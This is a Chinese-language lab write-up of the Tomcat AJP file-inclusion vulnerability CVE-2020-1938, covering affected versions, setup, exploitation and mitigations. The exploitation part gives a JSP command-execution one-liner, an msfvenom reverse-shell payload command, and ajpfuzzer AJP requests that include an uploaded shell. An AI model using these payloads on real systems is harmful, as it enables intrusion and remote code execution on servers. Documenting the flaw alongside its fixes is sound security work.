1、漏洞描述
Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。
2、漏洞编号
CVE-2020-1938、CNVD-2020-10487
3、影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
4、环境搭建
1、安装java环境
2、安装Tomcat 7.0.67
下载链接:https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.67/bin/
5、漏洞利用
工具链接:
https://github.com/threedr3am/learnjavabug
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
https://github.com/hypn0s/AJPy
- 使用POC进行检测:
- 配合上传漏洞执行系统命令
命令执行一句话:<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
1、上传命令执行一句话txt文件:
2、使用POC 去包含 该文件,执行系统命令:
- 利用MSF反弹shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 > shell.txt
1、利用msfvenom 生成 payload
2、上传payload后,通过包含反弹shell
- 利用ajpfuzzer_v0.6解析反弹shell
下载AJP包构造器ajpfuzzer:
https://github.com/doyensec/ajpfuzzer/releases
1、使用msfvenom 生成一个图片shell,然后上传到服务器
比如上传到其中的一个项目里面:
2、运行java -jar ajpfuzzer_v0.6.jar ,连接目标端口connect 172.16.200.153 8009
3、执行如下命令构造并发送AJP包,其中/t/22/shell.png为木马路径,其中11.jsp可以换为任意该web项目中没有的jsp文件,这样tomcat才会去调用DefaultServlet。
4、执行后msf 成功获取shell:
forwardrequest 2 "HTTP/1.1" "/11.jsp" 172.16.200.153 172.16.200.153 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/t/22/shell.png","javax.servlet.include.servlet_path:/"
6、漏洞防护
如果相关用户暂时无法进行版本升级,可根据自身情况采用下列防护措施。
一、若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。
具体操作:
(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
(2)将此行注释掉(也可删掉该行):
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
(3)保存后需重新启动Tomcat,规则方可生效。
二、若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。
使用Tomcat 7和Tomcat 9的用户可为AJP Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
使用Tomcat 8的用户可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
参考链接:
https://www.secfree.com/17211.html
https://blog.csdn.net/sun1318578251/article/details/104433346